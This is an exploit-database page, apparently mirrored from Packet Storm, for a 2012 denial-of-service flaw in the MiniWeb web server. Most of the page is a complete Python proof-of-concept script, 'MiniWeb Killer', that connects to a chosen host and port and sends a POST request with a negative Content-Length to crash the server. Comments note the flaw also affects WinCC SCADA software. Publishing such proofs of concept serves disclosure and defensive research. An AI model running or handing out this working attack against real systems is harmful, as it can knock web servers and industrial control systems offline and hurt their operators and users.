Lucene search
K

MiniWeb Content-Length Denial Of Service

🗓️ 01 Jun 2012 00:00:00Reported by infodoxType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

MiniWeb Content-Length Denial Of Service vulnerability in MiniWeb web server discovered and exploited, allowing attackers to send a malicious POST request with a negative content length, leading to denial of service

Code
`#!/usr/bin/env python  
# miniweb Content-Length DoS PoC  
# Not a 0day, sadly.  
# aluigi found this ages back, I independantly rediscovered it fuzzing  
# and noticed it was still unpatched. Oh well, better disclose so!  
# vuln version at code.google.com/p/miniweb/  
# affects WinCC also :) (Oh, them SCADA...)  
# Massive props to ohdae for helping with this!  
# insecurety.net | bindshell.it.cx  
import sys  
import socket  
  
def banner():  
print """  
MiniWeb Killer - Kills MiniWeb  
-Insecurety Research  
-Bindshell Labs  
"""  
  
if len(sys.argv) != 3:  
banner()  
print "Usage: ./MiniDoS.py <host> <port>"  
sys.exit(1)  
  
banner()  
target = sys.argv[1]  
port = sys.argv[2]  
  
evil = "POST / HTTP/1.1\r\n"  
evil += "Host: %s\r\n" %(target)  
evil += "User-Agent: MiniWeb Killer ^-^\r\n"  
evil += "Content-Length: -10 \r\n\r\n" # part that kills the box  
expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )  
try:  
expl.connect((target, int(port)))  
print "[+] Connected, firing das payload!"  
except:  
print "[-] Connection Failed... Is there even a target?"  
sys.exit(1)  
try:  
expl.send(evil)  
print "[+] Payload Sent!"  
except:  
print "[-] Payload Sending Failure... WTF?"  
sys.exit(1)  
expl.close()  
print "[*] Should be dead..."  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation